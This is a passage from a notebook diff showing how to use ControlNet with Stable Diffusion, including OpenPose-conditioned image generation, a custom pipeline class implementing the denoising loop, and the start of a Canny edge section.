+            "23460450a39c44e488bce836dac8b997",
+            "261e963568fc4a24af694276311c3b18",
+            "7e03365b6d25414eb845c51aa30e3d2c",
+            "199a4465ee984eff971c999393c4e497",
+            "4332d0e942ea406daeca4e1bbd36d4cb",
+            "44d7b2f89c984dcda69f368adbdf846f",
+            "0f796401fadb4649a30effd4c66e058f",
+            "33ef3f5248c14c4f8dd2d4a7bf0038a9",
+            "64e440c8c82144beaec1e1d61cd5e9e0",
+            "64180e5dd63840e3bb21af7aefa3cf45",
+            "abb332369a9b4996b84d77eee7e5dc0a",
+            "e69330feb37747c5b22d4dd215f934bd",
+            "41cb4b504f3e45ea847e1cd74ae449d0",
+            "c7b630dc7b8448219ca505398c12afef",
+            "81f9fd794d22477f8836a11322d5325b",
+            "ec96bfae8c9c48e5827755ce0e8a885f",
+            "0c6beb3311554ae1b3bea23eadf8620d",
+            "cb4c90617e8e4ef08052ade1d2694589",
+            "6ca7d8cb9ad2472bad727eba7c993816",
+            "eb5ef899d10b442ca8bd3ec6c1fbf1f3",
+            "b6f79be711a94896ba08b0af7293cd04",
+            "f2ec0ba35adb4084b2ef73e4d384f6fd",
+            "5b6fcc006e8b47c4a416e38991201a42",
+            "635b3c726b5049818d8384ad992e2550",
+            "182d76403d844b96bd20c3a7c49b4357",
+            "c81fe2532ac14ae6a5411a866f8e42ac",
+            "9ef7b0ea4e4e46b18953056deaa6cf95",
+            "2d76832bc7834ef6b683ef6829f83861",
+            "2caabb6f82ef46ecbda6c0baf215d72a",
+            "f1e983f41294422087b5be9a9df11fa3",
+            "9b78deeeaec149339134750de6ba1fcf",
+            "a207168326fd45159d8eec29ea91ccac",
+            "425d719b752b4a1480f8c3f8b9388e50",
+            "8baeb11dd15840e691eadde3f79bf4f2",
+            "6b872da2a0944f5da6eb68792937311b",
+            "848755aa7d4a4889b85870aac916c5ff",
+            "922d64656ae0415795f9e50e79d5d5f8",
+            "8ff9c129cb434f9bbab238f1779c9b0b",
+            "7e5f077830e94e278b213ee5f11739d9",
+            "97348ede0e464090845a56a64a53e493",
+            "282f7b2aeec54a81b94da85c85c7cb75",
+            "9a56fa1ecaee4be3954540e95a7c8990",
+            "07ad70da82f04e6c8fc64ba90f114d04",
+            "b09e0313ea6d461e99ee9e2778639310",
+            "df65632706474b4d903b8f6f72438166",
+            "7035d48a0c874fe7b7bd20c6b03bdf85",
+            "83067a7d3f454087ac1de91bf17c7339",
+            "d2b243b82d0641bc82bcc9500059043d",
+            "b20aec5624874591a63b0d0f3d4daeda",
+            "aa79187007a448a381f604ea8b5be0ba",
+            "99836b0d3c5241f99260cd642081c31f",
+            "99c6d5162b2d41b6b3d260f4b2c99b9b",
+            "13ccb78b2d7141e1a982a8bea69023d5",
+            "99b1e953ca924df2b6bfb0f9780d2e21",
+            "57420a6e093c4de9845db953b8e0269b",
+            "22235d8e342a47059270c8732b889d68",
+            "6055afd2e29c42e09d5f923c34cf1579",
+            "8477b0d8ae344f78ba17f537e0e2448f",
+            "911cafa406d2409f8ac69d9c9ae0dd94",
+            "589f9b88c3c746dd9aead96a6ef56fee",
+            "4bf53145f39644d2bf5c3e31f9f23b1a",
+            "65de6855b9944b829c4aa77bce39009f",
+            "44223dcee3694e168e866af5f69aaad4",
+            "7a47a1e4f4ef448e83659bf90c874eda",
+            "61e2139115904b94967c220fd214b5df",
+            "846c2df4629c416baea2612ea2c84a16",
+            "206b5b9596ff43b68126735ad6b31929",
+            "25d01861ca0c45d3a5f57932d9754834",
+            "847b736c058c47f9adf366c4bb920a0d",
+            "a1b45d2ecbe44a158b7a0e2f818922ae",
+            "71b5693eda974ad78235b59d848304ab",
+            "35aa99e07e7d469ba9a46d80bb9908bb",
+            "e503940faf1e47bb911a62c6e5f33fa0",
+            "03800bb9bc894d2592b3d01036769944",
+            "02fe761302934b54960a8289d627d16c",
+            "2db8827ffa344a4a8ac5487ff2997ae0",
+            "c25de7e0bae0469d918bd6d3ea39211b",
+            "2b5e8dcb60ee4f65af5505ffa7ea3ae2",
+            "9b27785afb0243f5b2298cb272c510e2",
+            "6ba872bd45c34e6c8202cc3722dc9285",
+            "4d73b627ecc74bf7ad18f5effa245097",
+            "35bd707e26044bd1a361c2fc2c11ea29",
+            "ea8e9b50f98c43b58d7faccbfd6821cb",
+            "940a28141ae14329831b67e91ff1091a",
+            "f1f865efa3a6448ea9c930a1f08c50bf",
+            "ede9d9c5d44146849e44c3b1476299eb",
+            "d8424b9018444e088fe5908db8a9db12",
+            "f00bbbb986ed49e79560422ba4c379c8",
+            "108208309c4b47aa8eee3a1321fc81ed",
+            "d0c00b0f105741f9a155e941dd5d704f",
+            "16e7c873157c444bb0ca1b92e85b4701",
+            "4f4bfc7bd24148e6ac524b57cc6d8020",
+            "2a8de4ddaf4747ceb0a153851cd765ca",
+            "c3e33bee752849c692d00ceabd561feb",
+            "97dcb5d933594743aea62d09aa27d30d",
+            "f17e8c0187db4242af4a803aed44fde9",
+            "483e47a822fe43d6ae4c114bfbb8be8a",
+            "c905c8d69bcb404aa39ca499c96549e3",
+            "bd5c5827932b4dabbac38adb33544e48",
+            "dddba90edf87434aa404eea38eaa63f2",
+            "a32f66c9b59e4ae2bca41c1c582119e7",
+            "e8cbb2d5adae4b439639631ea833be72",
+            "06f53eb5d18941d8a947bcb21676e9c7",
+            "455bc344fe60421da1ac931657cbd162",
+            "88491458b25e4ae5a66afeaae7f76c12",
+            "32bb55abea4f4ea2a7ea8a28a45eeb16",
+            "90d2a57096964b7a9e2aef14ec54e2a7",
+            "a526959014a644cba47969ebba62fa7c",
+            "ceb41aa2ac6c4c1982598a5085f7a977",
+            "8dd1b3d2ce124d2a92d69bb1897a078e",
+            "c7eafdcd51dc419c99b3248093fbfbff",
+            "5eca9f78607349a9893b0c88f3c53181",
+            "719559db7a7943fbb823795a1697a10c",
+            "445925a5c9da455c90fd9225ab521c1f",
+            "2898c9af6aea4c79a4f9e89e24275083",
+            "c34ca1ea918344188c3241400aa3e775",
+            "dd9945400a2c413589af32550427f92d",
+            "8328f2c010f4426fbfef22482701f516",
+            "edaf046faeb8459bbe937cae180bfc4e",
+            "8cb0f3ae820947a5984dd422b33776dd",
+            "ea6ed2a4fd9c49579f25b2f0e9af3f3c",
+            "41b442152042436ea0703d3c1181824d",
+            "f3af911e563d47eca89517bdc434c911",
+            "b5462a2b462147899d82f6b4617cf781",
+            "d84093973fe84b06bb05f125ab7a11bb",
+            "3cdb72138ffe4261a6cfcd9bcf4776c4",
+            "3bdc5d0f6e324afaae6d5a4aabff98d2",
+            "18a72653fc284d29be02e4d2a477ecdd",
+            "ff1597bd843b4770b93ffa71f0b05da4",
+            "b3bd2d853e02483080ff7dfbd5b448e0",
+            "55f31f27ce954a0c8c0d1e63938c7bc0",
+            "40ef1d0b44164265bea4eea32ce1b907",
+            "3da34455151b42319fc32e56afeb7959",
+            "1bf842268bf64cadbf2bda6da0d4a690",
+            "452c129fabca48efa832b81481703bab",
+            "6e327baf7a9144fcaff7c6317d018862",
+            "72d25c37112c403eaf801833a03a47b2",
+            "8c4e2621ec244a2db21262a8ed0e4ab7",
+            "965fb38eae6a45678d87fc3e24eb5241",
+            "0da3c6cd22da482c88af347dcbdf0d8e",
+            "f7dd7600e3374757bdb1dad3d2e29d4e",
+            "dffc9bcfd178487e93b34f91eae3b8e8",
+            "7016696c087c4b3d85d5928cca064add",
+            "f4accfef05c24411bbd0fae1f7fbf7cb",
+            "941873b1d19b4c2da615ed461fc6cbc7",
+            "6ea8901001af4f2aa0039b18f5e758a4",
+            "ecc46cbc78fe4d9f8af50970839d3891",
+            "7301b1053b6446da9756caeb59d5be8b",
+            "94fba57a53d04861ab5a889193d27f83",
+            "aafa0b9b142a44f79368f411710ea55c",
+            "2aeb8135603c46c1aa80e2c3580b897f",
+            "a2630966b93643e99721ea631339d088",
+            "6ca84bcd6bea4a92a80d50351aa1be4f",
+            "d2a03fa596c34b12a1aed264e8d08077",
+            "74702e35e09048eabfb470dc85fb5be4",
+            "4276b44c60b64716ab7ad52d8354bc1f",
+            "87fcb7d5949d440dbe3c18e7059e65ad",
+            "173d85b54dd4419883fc83cfa2beacc5",
+            "cd4f33b831ff4bd4afabbdec87b9bc8d",
+            "79b1b7bd05714b528d9a617b1c875dfe",
+            "d6a728463cce43d2a0c8573e5faf2dde",
+            "e59d5e76445943c39cdb32721727d3e8"
+          ]
+        },
+        "id": "ts8fiPLordOD",
+        "outputId": "08a7450f-8e53-48a4-9c2d-2994353c3140"
+      },
+      "outputs": [],
+      "source": [
+        "# load the openpose model\n",
+        "openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet')\n",
+        "\n",
+        "# load the controlnet for openpose\n",
+        "controlnet = ControlNetModel.from_pretrained(\n",
+        "    \"lllyasviel/sd-controlnet-openpose\", torch_dtype=torch.float16\n",
+        ")\n",
+        "\n",
+        "# define stable diffusion pipeline with controlnet\n",
+        "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n",
+        "    \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n",
+        ")\n",
+        "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "LPdQiPkXri1y"
+      },
+      "outputs": [],
+      "source": [
+        "# Remove if you do not have xformers installed\n",
+        "# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers\n",
+        "# for installation instructions\n",
+        "pipe.enable_xformers_memory_efficient_attention()\n",
+        "pipe.enable_model_cpu_offload()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 657
+        },
+        "id": "f_HH_n8WrdQN",
+        "outputId": "2432a1d8-cdec-4b0e-ca8e-d62ce008136e"
+      },
+      "outputs": [],
+      "source": [
+        "image_input = load_image(\"https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg/")\n",
+        "image_input"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "AUJikHhlrdSX",
+        "outputId": "398bd929-ff3e-4f05-cad6-a3079b911d75"
+      },
+      "outputs": [],
+      "source": [
+        "image_pose = openpose(image_input)\n",
+        "image_pose"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "b5a39dc5eccf4747ade601d25681c2b2",
+            "1ce482eed7dd4a62b5c97b7fae38f392",
+            "f566fa59f127470087bb68beea6ee8fb",
+            "6c0b26e65230468cb5ef11d3d0bf1bd3",
+            "aa4097be74c3412eb9571ed6ef250828",
+            "f02818f8f3d54f72961c51e8fe526dc2",
+            "8d2da5062f414a7f8c98facdd7d2bad0",
+            "2fa71efbdefa4607b37d985b272fcffa",
+            "e20f4ef3c100484cae5ba0a570be604c",
+            "f48bc2b8666b4e48a6f8cad4cda2530d",
+            "29e96ee99a714e2c86a0d68be1a31055"
+          ]
+        },
+        "id": "0MfsiN_Jri4G",
+        "outputId": "5286a2ac-13a3-4c35-80ab-a9968c9c8602"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"A professional photograph of a male fashion model\", image_pose, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "HEiobo68Kzso"
+      },
+      "source": [
+        "# Custom implementation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "0y9iWI9cK17f"
+      },
+      "outputs": [],
+      "source": [
+        "class ControlNetDiffusionPipelineCustom:\n",
+        "    \"\"\"custom implementation of the ControlNet Diffusion Pipeline\"\"\"\n",
+        "\n",
+        "    def __init__(self,\n",
+        "                 vae,\n",
+        "                 tokenizer,\n",
+        "                 text_encoder,\n",
+        "                 unet,\n",
+        "                 controlnet,\n",
+        "                 scheduler,\n",
+        "                 image_processor,\n",
+        "                 control_image_processor):\n",
+        "\n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.scheduler = scheduler\n",
+        "        self.controlnet = controlnet\n",
+        "        self.image_processor = image_processor\n",
+        "        self.control_image_processor = control_image_processor\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_text_embeds(self, text):\n",
+        "        \"\"\"returns embeddings for the given `text`\"\"\"\n",
+        "\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text,\n",
+        "                                    padding='max_length',\n",
+        "                                    max_length=tokenizer.model_max_length,\n",
+        "                                    truncation=True,\n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "        return text_embeds\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt):\n",
+        "        \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n",
+        "\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+        "        # concatenate the above 2 embeds\n",
+        "        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "\n",
+        "    def transform_image(self, image):\n",
+        "        \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n",
+        "\n",
+        "        image = self.image_processor.postprocess(image, output_type='pil')\n",
+        "        return image\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n",
+        "        \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n",
+        "\n",
+        "        image_latents = torch.randn((batch_size,\n",
+        "                                   num_channels_latents,\n",
+        "                                   height // 8,\n",
+        "                                   width // 8)).to(self.device)\n",
+        "        # scale the initial noise by the standard deviation required by the scheduler\n",
+        "        image_latents = image_latents * self.scheduler.init_noise_sigma\n",
+        "        return image_latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def denoise_latents(self,\n",
+        "                        prompt_embeds,\n",
+        "                        controlnet_image,\n",
+        "                        timesteps,\n",
+        "                        latents,\n",
+        "                        guidance_scale=7.5):\n",
+        "        \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by controlnet\"\"\"\n",
+        "\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(timesteps)):\n",
+        "                # duplicate image latents to do classifier free guidance\n",
+        "                latent_model_input = torch.cat([latents] * 2)\n",
+        "                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n",
+        "\n",
+        "                control_model_input = latents\n",
+        "                controlnet_prompt_embeds = prompt_embeds\n",
+        "\n",
+        "                # get output from the control net blocks\n",
+        "                down_block_res_samples, mid_block_res_sample = self.controlnet(\n",
+        "                    control_model_input,\n",
+        "                    t,\n",
+        "                    encoder_hidden_states=controlnet_prompt_embeds,\n",
+        "                    controlnet_cond=controlnet_image,\n",
+        "                    conditioning_scale=1.0,\n",
+        "                    return_dict=False,\n",
+        "                )\n",
+        "\n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(\n",
+        "                        latent_model_input,\n",
+        "                        t,\n",
+        "                        encoder_hidden_states=prompt_embeds,\n",
+        "                        down_block_additional_residuals=down_block_res_samples,\n",
+        "                        mid_block_additional_residual=mid_block_res_sample,\n",
+        "                    )['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n",
+        "\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n",
+        "\n",
+        "        return latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def prepare_controlnet_image(self,\n",
+        "                                 image,\n",
+        "                                 height,\n",
+        "                                 width):\n",
+        "        \"\"\"preprocesses the controlnet image\"\"\"\n",
+        "\n",
+        "        # process the image\n",
+        "        image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32)\n",
+        "        # send image to CUDA\n",
+        "        image = image.to(self.device)\n",
+        "        # repeat the image for classifier free guidance\n",
+        "        image = torch.cat([image] * 2)\n",
+        "        return image\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def __call__(self,\n",
+        "                 prompt,\n",
+        "                 image,\n",
+        "                 num_inference_steps=20,\n",
+        "                 guidance_scale=7.5,\n",
+        "                 height=512, width=512):\n",
+        "        \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n",
+        "\n",
+        "        # encode input prompt\n",
+        "        prompt_embeds = self.get_prompt_embeds(prompt)\n",
+        "\n",
+        "        # prepare image for controlnet\n",
+        "        controlnet_image = self.prepare_controlnet_image(image, height, width)\n",
+        "        height, width = controlnet_image.shape[-2:]\n",
+        "\n",
+        "        # prepare timesteps\n",
+        "        self.scheduler.set_timesteps(num_inference_steps)\n",
+        "        timesteps = self.scheduler.timesteps\n",
+        "\n",
+        "        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n",
+        "        num_channels_latents = self.unet.config.in_channels\n",
+        "        batch_size = prompt_embeds.shape[0] // 2\n",
+        "        latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n",
+        "\n",
+        "        # denoise latents\n",
+        "        latents = self.denoise_latents(prompt_embeds,\n",
+        "                                       controlnet_image,\n",
+        "                                       timesteps,\n",
+        "                                       latents,\n",
+        "                                       guidance_scale)\n",
+        "\n",
+        "        # decode latents to get the image into pixel space\n",
+        "        latents = latents.to(torch.float16) # change dtype of latents since\n",
+        "        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n",
+        "\n",
+        "        # convert to PIL Image format\n",
+        "        image = image.detach() # detach to remove any computed gradients\n",
+        "        image = self.transform_image(image)\n",
+        "\n",
+        "        return image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "kugjwBC3K4JK"
+      },
+      "outputs": [],
+      "source": [
+        "# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well)\n",
+        "vae = pipe.vae\n",
+        "tokenizer = pipe.tokenizer\n",
+        "text_encoder = pipe.text_encoder\n",
+        "unet = pipe.unet\n",
+        "controlnet = pipe.controlnet\n",
+        "scheduler = pipe.scheduler\n",
+        "image_processor = pipe.image_processor\n",
+        "control_image_processor = pipe.control_image_processor"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "6ooKnlkVK4LV"
+      },
+      "outputs": [],
+      "source": [
+        "custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "BYW8mEH2K4NY",
+        "outputId": "6e610454-e4c4-4c9d-c091-23cf9cbecec9"
+      },
+      "outputs": [],
+      "source": [
+        "# sample image 1\n",
+        "images_custom = custom_pipe(\"a fashion model wearing a beautiful dress\", image_pose, num_inference_steps=20)\n",
+        "images_custom[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "w4XGMCsUK4RA",
+        "outputId": "59e49ba7-d3c3-4fd7-bf0c-ed9ac23695dd"
+      },
+      "outputs": [],
+      "source": [
+        "# sample image 2\n",
+        "images_custom = custom_pipe(\"A male fashion model posing in a museum\", image_pose, num_inference_steps=20)\n",
+        "images_custom[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "GU9P7QMacZTW",
+        "outputId": "b3c7e3aa-04b1-47c9-e29d-a8b68457b8e8"
+      },
+      "outputs": [],
+      "source": [
+        "# sample image with a different prompt\n",
+        "images_custom = custom_pipe(\"A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD\", image_pose, num_inference_steps=20)\n",
+        "images_custom[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "tXShSB0Fd7qd"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "9dW5PCk0d7t7"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "fwnnyHq3oi7O"
+      },
+      "source": [
+        "# Canny"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "1L96sjJ_oi7P"
+      },
+      "outputs": [],
+      "source": [
+        "import cv2\n",
+        "from PIL import Image\n",
+        "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n",
+        "import torch\n",
+        "import numpy as np\n",
+        "from diffusers.utils import load_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 566,
+          "referenced_widgets": [
+            "6846be1897c64311a10d421483131bf9",
+            "147cd6ad4d4c4fca82a7a531684ffd2a",
+            "6f88f6e516064ed1a82e1d69742d324c",
+            "9998dc803aec438ab2bbdcb1edb8ab4e",
+            "67f164f2226d430eb0c2cd3c63d14368",
+            "4fbfe981703e4365a6e944cb9f3913d5",
+            "ce5e2b3caef7421da3383cbdfc5b271f",
+            "f1a22eae63cb4eb982a02ccd11422014",
+            "aac46407f5d74ebbb6a58b10de9b86f4",
+            "713f6c4e65a5418481d59fb756bd043c",
+            "365b7759e93949dd891bacc424e797f3",
+            "9e9bd7cc85b04308b20943578ad51fa7",
+            "743a58e2430947808aac30953973ec71",
+            "600acc1527c4482fb7307f2d423a0a01",
+            "84f1832335f44d73b6a1a588f0e79a11",
+            "03264d2988b849369f26e62a0a010d51",
+            "a56166c024494356bc1b9a9e9a434c86",
+            "e404d2f75cdc4a9397c82bca53ca3fad",
+            "f16aa25f9d2b49cc87cde26cf7dc316f",
+            "a263feafcec44c2eab4150af170d670a",
+            "e90005c8a5664c6f80e37268666f1a9f",
+            "783dca59f6a54589b6fb848cb13c5f3f",
+            "72fb9eafc22a4533a62e3189f3b65b04",
+            "febabb96db10490f835e4c5f6512ea61",
+            "5fc991cde70546d3a665982956cca6b5",
+            "f5e6af9d73ed4f3d9726bffba48540ee",
+            "7027773c6c484afa9ee32448a320f948",
+            "834aa09c8e984c819849676acdf25dae",
+            "6224c6c1d4b145ed86564e7d62fbe4c2",
+            "2dc4775bcef749b7bbbb3f71d714211c",
+            "838cb3152f3c48ec814de02def9b75f2",
+            "0a6ed397228f4a1fafe9dfecc4c39ef6",
+            "e2eaf1b78df545feb426d75ec556f8a3",
+            "db3e2ef136864292b6cc51ede3713a4d",
+            "554525ce609044b68804e97c6b45c510",
+            "97dfae674a3b415d9015760abea61968",
+            "e4394ac60eef460e8f37fac24327ab77",
+            "ffd1b0965ac748a3857a947c94e192dc",
+            "0d45fef5bbf447938e7621e77207e1ae",
+            "681be606b86c42fd9cad68e63e2782de",
+            "a0f1a81a8d8f4e05a26d7a0a61565c53",
+            "7f36f3521fa14a37b0fad0702bf9a4e3",
+            "51b27a7dc0d34dd09b1ea17aba1fb697",
+            "2a8c5504fb034f608567f8d706389d79",
+            "ebe0534f9b4c4f92ae488a8d3e5867d6",
+            "e7a84d718566443bba6c79729de0518a",
+            "8cec2e55fc3542789938c24adb050ca9",
+            "5248a6e5d8044c53803426afaf2439af",
+            "10ae3f8453744a7e9737a9a0914dfeab",
+            "81b870c0f0b6482a9f1dbd3fac0d935c",
+            "ff464c023f0546209b15c44a39b4b75e",
+            "ec7bdbec2fc342f38039b8420a162a25",
+            "dab4d54863e24f169f18999da88be46f",
+            "d50a15bbc94f49c39941bacd8c7b99ba",
+            "a8dcc8f3435a4870a76be1729b003b6f",
+            "e19591097be54f3d954a75bf14968b46",
+            "f92c9532d4644693831a67344d499ff5",
+            "a283d06ba73a4fc98e18e7080e794edf",
+            "5837463f803c4c93b91a21d9854ae574",
+            "ca5bf86a004a45a6ae2067fdc6eef091",
+            "c389029d6e9445febf2f623921140abe",
+            "9eda2eb5008b4f2d8269523ee5ce2ffe",
+            "44bc01157b4945b7b81401f978dce8ca",
+            "e39e7bf535fb4492ae9ac75591e79287",
+            "cb157284f72d428fb786527ce87d11a2",
+            "24030dedd2f24e2cbfa3833249d09810",
+            "b3d9135383894e049a5f6f7fc77d7b5a",
+            "a97373cd0b29464dac7d2b3bfe3aa276",
+            "10bfbe36a3e24b30a6e300e852ff7811",
+            "af944c373890491698424b1ca1c6969b",
+            "3b250841cf664fcd8a57fb25d23b29ee",
+            "745c74b4ac1942c497d0bee51b2e7b17",
+            "89feac2a7b7d47388548f946fff4c862",
+            "6e7d3e445440469baa5aaab1cbbb9291",
+            "a3ca3b9ce6b24d43bdf8361379b6d502",
+            "b82b0f73fa4d4fc395d106930015c7a0",
+            "bd3c80a835d242d19fe187d65e737d6c",
+            "ca9e4db991b54eb986375b30bb367afa",
+            "4c8fa5fd3d224ce694243ea790de8986",
+            "b2efd56d5e834196818f46a7b287c2c3",
+            "3097e4c3b53e4343a9ed6860b8d3d033",
+            "a3fc1ea7dc724184ae564edeb2e755ba",
+            "28baa1ec6f3c46309c04f2c8462b1798",
+            "9cc4d939cc454a0da5eb7bdd234f69b5",
+            "058220c3342b49e0bcc1f0973566ac72",
+            "7db99c4ea5e14e9bb5180a5beb4cc142",
+            "344e28ed2fc344f4ad5ab6f62a042631",
+            "dc495adaeb53477d903ce952060e4f3f",
+            "d95e3f841d4f4f278fb3adae0b11d4c3",
+            "ee9448f0b9964d8fad850501e08e3c84",
+            "485caac1aa1641a3b31827620ddfa3e4",
+            "55fe364a57aa4eaa93cb93b889d241c5",
+            "3deaa7c9f0c940c3af3b9a7c5d0c8de4",
+            "93df8bff634740a29f3820042d69347f",
+            "373d310d37454a409b53c30e7d7d1de5",
+            "bcd48b3b056c4c14b6034ef32fdde5d5",
+            "948f2f29870b4ee7974ddad6ba18397d",
+            "978a0bae9c5f4ab7ac45f1f4f870fef0",
+            "233120cc0399483ea17284432feb16d3",
+            "183551cc7517479db8e0fffe634f2e6c",
+            "90398133563a48288ebf11cf0e0e242d",
+            "b6c5549bd95644ad9e553c2e59199f04",
+            "48ec35653f99446db9cefabe146bb2d8",
+            "84e8bc8164b948d8897a8637c226ef1c",
+            "89abbaee27c441b3ab1c656806a7e67d",
+            "9a46a59ffb8d44c89b067519101f7a74",
+            "c0771d4d9b7242c4a1b6ea8954e9e96e",
+            "682a337dc14e48908be4cf40f7320d1f",
+            "6d699038776e4fad8bb74d2381109b65",
+            "38dd90648c1949b196ebf27fb21436ba",
+            "dde9a4c3dd824b6f8345b29f2a28ef5f",
+            "6da0c63935ac4ee4bfe6a6efbedfa93d",
+            "42109c92a03c45cabd7fbb0cc7cf1c4a",
+            "db6ac9519e6a438ebca23446b0f2a4aa",
+            "8adb835bb80941dfa3e21c9dac93d793",
+            "e57b840c4d3c4abcae1b69b189701c72",
+            "304e7a7a38834b3093002b6694c7cb67",
+            "5056e439bb4b4bad8b0694c79138424f",
+            "7d6d17a2798c41c6b27c25e1057869a3",
+            "52a201ace1f647059d93e5d9406afee5",
+            "43820ed672c04bbf80155b25c4e4de15",
+            "b8a38cb7b914460caf5f190692f5b935",
+            "633f3db9f5dd4f6984aa821a1717c03b",
+            "c184aabb31504cbd8361a9ab06899438",
+            "5c428d2de97f4bc28835ead1f6331e9e",
+            "229a1efdf3df4fe9aac07562774b084b",
+            "697d6a7fa4ee4d37bb80d624ffedf526",
+            "c87c97a9ed4b493c8d6df7d11b1684ca",
+            "9ee7a0fe9750457abaf427983e5866fe",
+            "103ffa0973364618b4ce1d5528078062",
+            "b08e7b6e25c24054ac5b2b18bcb6f2ae",
+            "5532a6b6181a4aecbfca636813b661fd",
+            "4f425c415dac44b3b86aa4f481254196",
+            "97ffad3c1b6e4c9c9621966c028c12aa",
+            "3c2af8d5617b4b878b2e68f3fc7ebff6",
+            "8d27414ca68a4494ab3febc1c8a03025",
+            "10f4d1976dc04c3bb651b45c08298fab",
+            "eb72384f0e50444d9db03c12aca4b899",
+            "e7ddc52526db41e4907a2ede8dcef7c7",
+            "9f4a6f9a897c4db0a8d92bf01f3f820c",
+            "88e4029063f44ce5a7e89e8f17664eeb",
+            "77a73421b7ae4bfe9fcb87353a121402",
+            "7bee130b66754bbc85e8454455ece425",
+            "f61abe945b124e31a72254333f26c785",
+            "b1da7b0efaaf4db4a7660bc5457f2bfa",
+            "3e55680d33db47099479572d0c8915f2",
